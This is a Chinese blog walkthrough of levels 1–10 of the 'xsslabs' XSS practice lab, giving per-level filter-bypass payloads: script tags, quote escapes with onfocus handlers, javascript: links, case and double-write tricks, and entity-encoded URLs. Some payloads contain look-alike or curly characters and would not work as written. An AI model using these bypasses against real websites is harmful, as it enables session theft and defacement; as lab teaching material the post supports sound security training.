当前位置: 首页 > news >正文

XSS挑战赛(xsslabs)1~10关通关解析

简介

XSS挑战赛,里面包含了各种XSS的防御方式和绕过方式,好好掌握里面的绕过细节,有助于我们更好的去发现XSS漏洞以及XSS的防御。本文更多的是分享解析的细节,不是一个标准的答案,希望大家在渗透的时候有更多的思维。

挑战开始

Level1

通关过程

在这里插入图片描述
第一关总的来说,比较简单,直接先尝试:
在这里插入图片描述

payload

<script>alert(1)</script>

Level2

通关过程

直接尝试payload:
在这里插入图片描述
查看源码:
在这里插入图片描述
想办法去逃逸输入框:
在这里插入图片描述
在这里插入图片描述

payload

a"><script>alert(1)</script>

Level3

通关过程

直接尝试:
在这里插入图片描述
发现没有弹窗,审核源码:
在这里插入图片描述
到这里说明,不能再输入标签了,所以需要转换思路,这个地方标签不行,那我们就尝试事件,这个地方考虑使用onfocus事件:’ οnfοcus='alert(1)
这个单引号就是为了闭合value的单引号。
在这里插入图片描述

paylaod

' οnfοcus='alert(1)

Level4

通关过程

直接尝试:
在这里插入图片描述
分析源码:感觉和第三关思路一致
在这里插入图片描述
尝试: " οnfοcus="alert(1)
在这里插入图片描述

payload

" οnfοcus="alert(1)

Level5

通关过程

直接尝试:
在这里插入图片描述
意味着不能输入script标签了,换思路,用事件:" οnfοcus="alert(1)
在这里插入图片描述
考虑这个地方有没有可能是个黑名单机制呢?换不常用的事件:
在这里插入图片描述
看来过滤的比较讲究,那么我们试试逃逸输入框,用其他标签来试试:
">jack
在这里插入图片描述
点击通关:
在这里插入图片描述

payoad

"><a href="javascript:alert(1)">jack</a>

Level6

通关过程

直接尝试:
在这里插入图片描述
直接尝试:">jack

在这里插入图片描述
在这里插入图片描述
尝试大小写绕过:">jack
在这里插入图片描述
在这里插入图片描述

payload

"><a HrEf="javascript:alert(1)">jack</a>

Level7

通关过程

直接尝试:
在这里插入图片描述
双写?alert(1)
在这里插入图片描述在这里插入图片描述
尝试:">alert(1)

在这里插入图片描述

payload

"><scrscriptipt>alert(1)</scscriptript>

Level8

通关过程

直接尝试:
在这里插入图片描述
看源码:
在这里插入图片描述
那么伪协议?
javascript:alert(1)
在这里插入图片描述
这个地方多半对事件也进行了处理,双写就不用试了,因为没有删除关键字
考虑到unicode是支持所有的编码,那么转成这个编码看行不行:
在这里插入图片描述
所以直接尝试:
在这里插入图片描述

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

Level9

通关过程

直接尝试:
在这里插入图片描述
需要一个合法链接?
那么输入:javascript:alert(1);//http://www.baidu.com
在这里插入图片描述
还是被处理了,那么用和8关相同的编码试试:
javascript:alert(1)//http://www.baidu.com

在这里插入图片描述

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

Level10

通关过程

直接尝试:
在这里插入图片描述
看来被实体化了。看源码:
在这里插入图片描述
尝试着传递这几个隐藏域的值:
在这里插入图片描述
构造逃逸:t_sort=a" οnfοcus=“alert(1)”>
在这里插入图片描述
继续构造:t_sort=a" οnfοcus=“alert(1)” type="text
在这里插入图片描述

payload

&t_sort=a" οnfοcus="alert(1)" type="text
http://www.lryc.cn/news/31970.html

相关文章:

  • 什么是以太网供电POE
  • 【JUC2022】第七章 AQS、ReentrantReadWriteLock 和 StampedLock
  • Spark 磁盘作用
  • 三、Spark 内存管理
  • Java 面试常见项目问题回答
  • 文件上传和下载(原生JS + SpringBoot实现)
  • 【C语言学习笔记】:安全性
  • Linux - 磁盘存储管理 磁盘引入
  • 分割std::string成多个string
  • 3月多国更新进出口产品规定
  • nacos相关面试题
  • Linux基础命令-groupmems管理组群的成员
  • css系统化学习
  • AI的简单介绍
  • 【Linux】-- 进程间通讯
  • STM32模拟SPI时序控制双路16位数模转换(16bit DAC)芯片DAC8552电压输出
  • 基于intel x86+fpga智能驾驶舱和高级驾驶辅助系统硬件设计(二)
  • oneblog_justauth_三方登录配置【Github】
  • 自行车轮胎充气泵PCBA方案
  • 200 22222
  • <JVM上篇:内存与垃圾回收篇>13 - 垃圾回收器
  • 广义状态平均法功率变换器建模分析
  • 基于Spring Boot的快递管理系统
  • nerdctl不完全使用指南(开发者)
  • 【独家】华为OD机试 - 分糖果(C 语言解题)
  • 八股总结(二)计算机网络与网络编程
  • ChatGPT  一本正经的胡说八道 那也看看原理吧
  • ChatGPT:一个人机环境系统交互的初级产品
  • PaddlePaddle本地环境安装(windows11系统)
  • DBeaver 超级详细的安装与使用